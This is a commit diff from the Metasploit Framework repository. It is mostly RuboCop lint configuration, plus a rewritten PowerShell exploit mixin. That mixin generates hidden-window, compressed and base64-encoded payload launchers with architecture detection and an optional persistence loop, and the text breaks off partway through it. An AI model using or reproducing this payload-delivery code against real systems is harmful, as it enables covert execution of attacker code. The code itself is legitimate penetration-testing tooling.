Merge branch 'master' of github.com:rapid7/metasploit-framework

bug/bundler_fix
Samuel Huckins 2014-08-05 16:30:32 -05:00
commit 34a42476b2
112 changed files with 5633 additions and 1852 deletions

View File

@ -1,19 +1,58 @@
LineLength:
# This list was created by analyzing the last three months (51 modules)
# committed to Metasploit Framework. Many, many older modules will have
# offenses, but this should at least provide a baseline for new modules.
#
# Updates to this file should include a 'Description' parameter for
# any explaination needed.
inherit_from: .rubocop_todo.yml
Style/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
- 'modules/**/*'
Style/Documentation:
Enabled: true
Description: 'Most Metasploit modules do not have class documentation.'
Exclude:
- 'modules/**/*'
Style/Encoding:
Enabled: true
Description: 'We prefer binary to UTF-8.'
EnforcedStyle: 'when_needed'
Style/LineLength:
Description: >-
Metasploit modules often pattern match against very
long strings when identifying targets.
Enabled: true
Max: 180
MethodLength:
Style/MethodLength:
Enabled: true
Max: 100
Style/ClassLength:
Exclude:
# Most modules are quite large and all contained in one class. This is OK.
- 'modules/**/*'
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Documentation:
Exclude:
- 'modules/**/*'
Style/PercentLiteralDelimiters:
Enabled: false
Description: >-
Metasploit devs tend to prefer [] over %w() for
nearly all cases, since we often deal with funny
looking arrays of nonwords. Consistency here is
preferred over element type safety.
Style/WordArray:
Enabled: false
Description: >-
Metasploit devs have grown comforatble with curly
braces over parens for %w. Disabling this check
prefers consistency.

730
.rubocop_todo.yml Normal file
View File

@ -0,0 +1,730 @@
# This configuration was generated by `rubocop --auto-gen-config`
# on 2014-07-29 16:18:04 -0500 using RuboCop version 0.23.0.
# The point is for the user to remove these configuration records
# one by one as the offenses are removed from the code base.
# Note that changes in the inspected code, or installation of new
# versions of RuboCop, may require this file to be generated again.
# Offense count: 10
Lint/AmbiguousOperator:
Enabled: false
# Offense count: 8
Lint/AmbiguousRegexpLiteral:
Enabled: false
# Offense count: 1395
# Configuration parameters: AllowSafeAssignment.
Lint/AssignmentInCondition:
Enabled: false
# Offense count: 105
Lint/BlockAlignment:
Enabled: false
# Offense count: 7
Lint/ConditionPosition:
Enabled: false
# Offense count: 119
# Cop supports --auto-correct.
Lint/DeprecatedClassMethods:
Enabled: false
# Offense count: 5
Lint/ElseLayout:
Enabled: false
# Offense count: 1
Lint/EmptyInterpolation:
Enabled: false
# Offense count: 746
# Configuration parameters: AlignWith, SupportedStyles.
Lint/EndAlignment:
Enabled: false
# Offense count: 3
Lint/EnsureReturn:
Enabled: false
# Offense count: 43
Lint/Eval:
Enabled: false
# Offense count: 586
Lint/HandleExceptions:
Enabled: false
# Offense count: 107
Lint/LiteralInCondition:
Enabled: false
# Offense count: 8
Lint/LiteralInInterpolation:
Enabled: false
# Offense count: 30
Lint/Loop:
Enabled: false
# Offense count: 51
Lint/ParenthesesAsGroupedExpression:
Enabled: false
# Offense count: 2
Lint/RequireParentheses:
Enabled: false
# Offense count: 526
# Cop supports --auto-correct.
Lint/RescueException:
Enabled: false
# Offense count: 82
Lint/ShadowingOuterLocalVariable:
Enabled: false
# Offense count: 19
Lint/SpaceBeforeFirstArg:
Enabled: false
# Offense count: 395
# Cop supports --auto-correct.
Lint/StringConversionInInterpolation:
Enabled: false
# Offense count: 83
Lint/UnderscorePrefixedVariableName:
Enabled: false
# Offense count: 18
Lint/UnreachableCode:
Enabled: false
# Offense count: 950
# Cop supports --auto-correct.
Lint/UnusedBlockArgument:
Enabled: false
# Offense count: 1554
# Cop supports --auto-correct.
Lint/UnusedMethodArgument:
Enabled: false
# Offense count: 21
Lint/UselessAccessModifier:
Enabled: false
# Offense count: 2236
Lint/UselessAssignment:
Enabled: false
# Offense count: 1
Lint/UselessComparison:
Enabled: false
# Offense count: 4
Lint/UselessSetterCall:
Enabled: false
# Offense count: 131
Lint/Void:
Enabled: false
# Offense count: 178
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/AccessModifierIndentation:
Enabled: false
# Offense count: 346
Style/AccessorMethodName:
Enabled: false
# Offense count: 195
# Cop supports --auto-correct.
Style/Alias:
Enabled: false
# Offense count: 1007
# Cop supports --auto-correct.
Style/AlignArray:
Enabled: false
# Offense count: 1205
# Cop supports --auto-correct.
# Configuration parameters: EnforcedHashRocketStyle, EnforcedColonStyle, EnforcedLastArgumentHashStyle, SupportedLastArgumentHashStyles.
Style/AlignHash:
Enabled: false
# Offense count: 2822
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/AlignParameters:
Enabled: false
# Offense count: 9507
# Cop supports --auto-correct.
Style/AndOr:
Enabled: false
# Offense count: 9
Style/AsciiComments:
Enabled: false
# Offense count: 193
# Cop supports --auto-correct.
Style/BlockComments:
Enabled: false
# Offense count: 841
Style/BlockNesting:
Max: 8
# Offense count: 3258
# Cop supports --auto-correct.
Style/Blocks:
Enabled: false
# Offense count: 2245
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/BracesAroundHashParameters:
Enabled: false
# Offense count: 17
Style/CaseEquality:
Enabled: false
# Offense count: 1843
# Configuration parameters: IndentWhenRelativeTo, SupportedStyles, IndentOneStep.
Style/CaseIndentation:
Enabled: false
# Offense count: 562
# Cop supports --auto-correct.
Style/CharacterLiteral:
Enabled: false
# Offense count: 80
Style/ClassAndModuleCamelCase:
Enabled: false
# Offense count: 309
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/ClassAndModuleChildren:
Enabled: false
# Offense count: 352
# Configuration parameters: CountComments.
Style/ClassLength:
Max: 38107
# Offense count: 203
# Cop supports --auto-correct.
Style/ClassMethods:
Enabled: false
# Offense count: 311
Style/ClassVars:
Enabled: false
# Offense count: 364
# Cop supports --auto-correct.
# Configuration parameters: PreferredMethods.
Style/CollectionMethods:
Enabled: false
# Offense count: 315
# Cop supports --auto-correct.
Style/ColonMethodCall:
Enabled: false
# Offense count: 233
# Configuration parameters: Keywords.
Style/CommentAnnotation:
Enabled: false
# Offense count: 375
# Cop supports --auto-correct.
Style/CommentIndentation:
Enabled: false
# Offense count: 450
Style/ConstantName:
Enabled: false
# Offense count: 2713
Style/CyclomaticComplexity:
Max: 259
# Offense count: 275
# Cop supports --auto-correct.
Style/DefWithParentheses:
Enabled: false
# Offense count: 159
# Cop supports --auto-correct.
Style/DeprecatedHashMethods:
Enabled: false
# Offense count: 1455
Style/Documentation:
Enabled: false
# Offense count: 18
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/DotPosition:
Enabled: false
# Offense count: 70
Style/DoubleNegation:
Enabled: false
# Offense count: 16
Style/EachWithObject:
Enabled: false
# Offense count: 490
# Cop supports --auto-correct.
# Configuration parameters: AllowAdjacentOneLineDefs.
Style/EmptyLineBetweenDefs:
Enabled: false
# Offense count: 3753
# Cop supports --auto-correct.
Style/EmptyLines:
Enabled: false
# Offense count: 64
Style/EmptyLinesAroundAccessModifier:
Enabled: false
# Offense count: 8506
# Cop supports --auto-correct.
Style/EmptyLinesAroundBody:
Enabled: false
# Offense count: 164
# Cop supports --auto-correct.
Style/EmptyLiteral:
Enabled: false
# Offense count: 10
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/Encoding:
Enabled: false
# Offense count: 1
Style/EndBlock:
Enabled: false
# Offense count: 1
Style/EndOfLine:
Enabled: false
# Offense count: 26
Style/EvenOdd:
Enabled: false
# Offense count: 44
# Configuration parameters: Exclude.
Style/FileName:
Enabled: false
# Offense count: 108
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/For:
Enabled: false
# Offense count: 981
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/FormatString:
Enabled: false
# Offense count: 243
# Configuration parameters: AllowedVariables.
Style/GlobalVars:
Enabled: false
# Offense count: 727
# Configuration parameters: MinBodyLength.
Style/GuardClause:
Enabled: false
# Offense count: 11295
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/HashSyntax:
Enabled: false
# Offense count: 2551
# Configuration parameters: MaxLineLength.
Style/IfUnlessModifier:
Enabled: false
# Offense count: 82
Style/IfWithSemicolon:
Enabled: false
# Offense count: 2056
# Cop supports --auto-correct.
Style/IndentArray:
Enabled: false
# Offense count: 3023
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/IndentHash:
Enabled: false
# Offense count: 1257
# Cop supports --auto-correct.
Style/IndentationConsistency:
Enabled: false
# Offense count: 4705
# Cop supports --auto-correct.
Style/IndentationWidth:
Enabled: false
# Offense count: 302
Style/Lambda:
Enabled: false
# Offense count: 4664
# Cop supports --auto-correct.
Style/LeadingCommentSpace:
Enabled: false
# Offense count: 3304
# Cop supports --auto-correct.
Style/LineEndConcatenation:
Enabled: false
# Offense count: 127
Style/LineLength:
Max: 5614
# Offense count: 1480
# Cop supports --auto-correct.
Style/MethodCallParentheses:
Enabled: false
# Offense count: 28
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/MethodDefParentheses:
Enabled: false
# Offense count: 22
# Configuration parameters: CountComments.
Style/MethodLength:
Max: 38090
# Offense count: 278
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/MethodName:
Enabled: false
# Offense count: 27
Style/MultilineBlockChain:
Enabled: false
# Offense count: 93
Style/MultilineIfThen:
Enabled: false
# Offense count: 19
Style/MultilineTernaryOperator:
Enabled: false
# Offense count: 3497
# Cop supports --auto-correct.
Style/NegatedIf:
Enabled: false
# Offense count: 85
# Cop supports --auto-correct.
Style/NegatedWhile:
Enabled: false
# Offense count: 53
Style/NestedTernaryOperator:
Enabled: false
# Offense count: 972
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/Next:
Enabled: false
# Offense count: 587
# Cop supports --auto-correct.
Style/NilComparison:
Enabled: false
# Offense count: 311
# Cop supports --auto-correct.
# Configuration parameters: IncludeSemanticChanges.
Style/NonNilCheck:
Enabled: false
# Offense count: 5052
# Cop supports --auto-correct.
Style/Not:
Enabled: false
# Offense count: 72
Style/OneLineConditional:
Enabled: false
# Offense count: 28
Style/OpMethod:
Enabled: false
# Offense count: 94
# Configuration parameters: CountKeywordArgs.
Style/ParameterLists:
Max: 14
# Offense count: 3567
# Cop supports --auto-correct.
# Configuration parameters: AllowSafeAssignment.
Style/ParenthesesAroundCondition:
Enabled: false
# Offense count: 1030
# Cop supports --auto-correct.
Style/PerlBackrefs:
Enabled: false
# Offense count: 154
# Configuration parameters: NamePrefixBlacklist.
Style/PredicateName:
Enabled: false
# Offense count: 165
# Cop supports --auto-correct.
Style/Proc:
Enabled: false
# Offense count: 100
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/RaiseArgs:
Enabled: false
# Offense count: 286
# Cop supports --auto-correct.
Style/RedundantBegin:
Enabled: false
# Offense count: 269
Style/RedundantException:
Enabled: false
# Offense count: 3440
# Cop supports --auto-correct.
# Configuration parameters: AllowMultipleReturnValues.
Style/RedundantReturn:
Enabled: false
# Offense count: 3162
# Cop supports --auto-correct.
Style/RedundantSelf:
Enabled: false
# Offense count: 237
# Configuration parameters: MaxSlashes.
Style/RegexpLiteral:
Enabled: false
# Offense count: 349
Style/RescueModifier:
Enabled: false
# Offense count: 203
Style/SelfAssignment:
Enabled: false
# Offense count: 485
# Cop supports --auto-correct.
# Configuration parameters: AllowAsExpressionSeparator.
Style/Semicolon:
Enabled: false
# Offense count: 2468
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/SignalException:
Enabled: false
# Offense count: 126
# Configuration parameters: Methods.
Style/SingleLineBlockParams:
Enabled: false
# Offense count: 480
# Cop supports --auto-correct.
# Configuration parameters: AllowIfMethodIsEmpty.
Style/SingleLineMethods:
Enabled: false
# Offense count: 482
# Cop supports --auto-correct.
Style/SingleSpaceBeforeFirstArg:
Enabled: false
# Offense count: 8
# Cop supports --auto-correct.
Style/SpaceAfterColon:
Enabled: false
# Offense count: 66361
# Cop supports --auto-correct.
Style/SpaceAfterComma:
Enabled: false
# Offense count: 1387
# Cop supports --auto-correct.
Style/SpaceAfterControlKeyword:
Enabled: false
# Offense count: 35
# Cop supports --auto-correct.
Style/SpaceAfterMethodName:
Enabled: false
# Offense count: 154
# Cop supports --auto-correct.
Style/SpaceAfterNot:
Enabled: false
# Offense count: 2
# Cop supports --auto-correct.
Style/SpaceAfterSemicolon:
Enabled: false
# Offense count: 2592
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/SpaceAroundEqualsInParameterDefault:
Enabled: false
# Offense count: 9743
# Cop supports --auto-correct.
Style/SpaceAroundOperators:
Enabled: false
# Offense count: 390
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/SpaceBeforeBlockBraces:
Enabled: false
# Offense count: 1297
# Cop supports --auto-correct.
Style/SpaceBeforeComment:
Enabled: false
# Offense count: 7
# Cop supports --auto-correct.
Style/SpaceBeforeModifierKeyword:
Enabled: false
# Offense count: 1342
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles, EnforcedStyleForEmptyBraces, SpaceBeforeBlockParameters.
Style/SpaceInsideBlockBraces:
Enabled: false
# Offense count: 24964
# Cop supports --auto-correct.
Style/SpaceInsideBrackets:
Enabled: false
# Offense count: 2807
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, EnforcedStyleForEmptyBraces, SupportedStyles.
Style/SpaceInsideHashLiteralBraces:
Enabled: false
# Offense count: 5223
# Cop supports --auto-correct.
Style/SpaceInsideParens:
Enabled: false
# Offense count: 729
# Cop supports --auto-correct.
Style/SpecialGlobalVars:
Enabled: false
# Offense count: 111166
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/StringLiterals:
Enabled: false
# Offense count: 382
Style/Tab:
Enabled: false
# Offense count: 568
# Cop supports --auto-correct.
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/TrailingBlankLines:
Enabled: false
# Offense count: 6257
# Configuration parameters: EnforcedStyleForMultiline, SupportedStyles.
Style/TrailingComma:
Enabled: false
# Offense count: 1803
# Cop supports --auto-correct.
Style/TrailingWhitespace:
Enabled: false
# Offense count: 141
# Cop supports --auto-correct.
# Configuration parameters: ExactNameMatch, AllowPredicates, AllowDSLWriters, Whitelist.
Style/TrivialAccessors:
Enabled: false
# Offense count: 22
Style/UnlessElse:
Enabled: false
# Offense count: 216
Style/UnneededCapitalW:
Enabled: false
# Offense count: 13
# Cop supports --auto-correct.
Style/UnneededPercentX:
Enabled: false
# Offense count: 93
# Cop supports --auto-correct.
Style/VariableInterpolation:
Enabled: false
# Offense count: 740
# Configuration parameters: EnforcedStyle, SupportedStyles.
Style/VariableName:
Enabled: false
# Offense count: 1520
# Cop supports --auto-correct.
Style/WhenThen:
Enabled: false
# Offense count: 33
# Cop supports --auto-correct.
Style/WhileUntilDo:
Enabled: false
# Offense count: 129
# Configuration parameters: MaxLineLength.
Style/WhileUntilModifier:
Enabled: false

View File

@ -7,7 +7,7 @@ CLASSES = Exploit.java
all: $(CLASSES:.java=.class)
install:
mv *.class ../../../../data/exploits/CVE-2013-3465/
mv *.class ../../../../data/exploits/CVE-2013-2465/
clean:
rm -rf *.class

View File

@ -154,7 +154,7 @@ module Exploit::CmdStager
# Returns a hash with the :decoder option if possible
#
# @params opts [Hash] Input Hash.
# @param opts [Hash] Input Hash.
# @return [Hash] Hash with the input data and a :decoder option when
# possible.
def opts_with_decoder(opts = {})
@ -279,7 +279,7 @@ module Exploit::CmdStager
# Answers if the input flavor is compatible with the current target or module.
#
# @param f [Symbol] The flavor to check
# @returns [Boolean] true if compatible, false otherwise.
# @return [Boolean] true if compatible, false otherwise.
def compatible_flavor?(f)
return true if target_flavor.nil?
case target_flavor.class.to_s

View File

@ -1,178 +1,380 @@
# -*- coding: binary -*-
require 'zlib'
require 'rex/exploitation/powershell'
module Msf
module Exploit::Powershell
PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {})
super
register_options(
[
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('RUN_WOW64', [
true,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
]),
register_advanced_options(
[
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
], self.class)
end
#
# Insert substitutions into the powershell script
# Return an encoded powershell script
# Will invoke PSH modifiers as enabled
#
def make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
# @param script_in [String] Script contents
#
# @return [String] Encoded script
def encode_script(script_in)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
return script
psh.encode_code
end
#
# Return an array of substitutions for use in make_subs
# Return a gzip compressed powershell script
# Will invoke PSH modifiers as enabled
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end
#
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end
# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end
#
# Return a zlib compressed powershell script
# @param script_in [String] Script contents
# @param eof [String] Marker to indicate the end of file appended to script
#
# @return [String] Compressed script with decompression stub
def compress_script(script_in, eof = nil)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
end
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$stream.ReadByte()|Out-Null;"
psh_expression << "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression << "$(New-Object IO.Compression.DeflateStream("
psh_expression << "$stream,"
psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)
# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)
return encoded_expression
psh.compress_code(eof)
end
#
# Runs powershell in hidden window raising interactive proc msg
# Generate a powershell command line, options are passed on to
# generate_psh_args
#
def run_hidden_psh(ps_code,ps_bin='powershell.exe')
ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
# @param opts [Hash] The options to generate the command line
# @option opts [String] :path Path to the powershell binary
# @option opts [Boolean] :no_full_stop Whether powershell binary
# should include .exe
#
# @return [String] Powershell command line with arguments
def generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
ps_wrapper = <<EOS
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = #{ps_bin}
$si.Arguments = '#{ps_args}'
$si.UseShellExecute = $false
$si.RedirectStandardOutput = $true
$si.WindowStyle = 'Hidden'
$si.CreateNoWindow = $True
$p = [System.Diagnostics.Process]::Start($si)
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
end
#
# Generate arguments for the powershell command
# The format will be have no space at the start and have a space
# afterwards e.g. "-Arg1 x -Arg -Arg x "
#
# @param opts [Hash] The options to generate the command line
# @option opts [Boolean] :shorten Whether to shorten the powershell
# arguments (v2.0 or greater)
# @option opts [String] :encodedcommand Powershell script as an
# encoded command (-EncodedCommand)
# @option opts [String] :executionpolicy The execution policy
# (-ExecutionPolicy)
# @option opts [String] :inputformat The input format (-InputFormat)
# @option opts [String] :file The path to a powershell file (-File)
# @option opts [Boolean] :noexit Whether to exit powershell after
# execution (-NoExit)
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
# @option opts [Boolean] :noninteractive Whether to load a non
# interactive powershell (-NonInteractive)
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
# Apartment (-Mta)
# @option opts [String] :outputformat The output format
# (-OutputFormat)
# @option opts [Boolean] :sta Whether to run as Single-Threaded
# Apartment (-Sta)
# @option opts [Boolean] :noprofile Whether to use the current users
# powershell profile (-NoProfile)
# @option opts [String] :windowstyle The window style to use
# (-WindowStyle)
#
# @return [String] Powershell command arguments
def generate_psh_args(opts)
return '' unless opts
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
end
#
# Wraps the powershell code to launch a hidden window and
# detect the execution environment and spawn the appropriate
# powershell executable for the payload architecture.
#
# @param ps_code [String] Powershell code
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
#
# @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = {
noprofile: true,
windowstyle: 'hidden',
}
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'", "''")
end
# Old technique fails if powershell exits..
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
ps_args = generate_psh_args(arg_opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
return ps_wrapper
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
end
#
# Creates cmd script to execute psh payload
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line and generate_psh_args
#
def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
else
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :use_single_quotes Wraps the -Command
# argument in single quotes unless :encode_final_payload
#
# @return [String] Powershell command line with payload
def cmd_psh_payload(pay, payload_arch, opts = {})
opts[:persist] ||= datastore['Powershell::persist']
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method']
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
when 'reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if datastore['PERSIST']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
# Determine appropriate architecture
ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution
command = "%COMSPEC% /B /C start powershell.exe -Command #{psh_payload.gsub("\n",';').gsub('"','\"')}\r\n"
end
#
# Convert binary to byte array, read from file if able
#
def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
code = code.unpack('C*')
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
else
lines.push ",0x#{code[byte].to_s(16)}"
vprint_error('Sleep time must be greater than 0 seconds')
end
end
psh << lines.join("") + "\r\n"
compressed_payload = compress_script(psh_payload)
encoded_payload = encode_script(psh_payload)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
end
vprint_status("Powershell command length: #{command.length}")
if command.length > 8191
